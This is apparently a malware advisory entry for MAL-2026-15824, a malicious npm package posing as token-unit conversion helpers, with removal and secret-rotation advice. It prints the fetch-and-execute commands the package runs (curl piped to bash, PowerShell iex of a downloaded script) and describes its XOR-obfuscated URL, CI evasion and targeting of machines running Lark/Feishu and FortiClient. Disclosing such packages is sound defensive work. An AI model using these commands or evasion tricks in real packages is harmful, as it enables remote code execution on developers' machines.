## What is MAL-2026-15824?

MAL-2026-15824 is a malicious package in @stellarshift/token-units, published on 2 Sep 2026. 

### Official description

Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: `curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash` on Unix, and `iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content` inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-15824?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
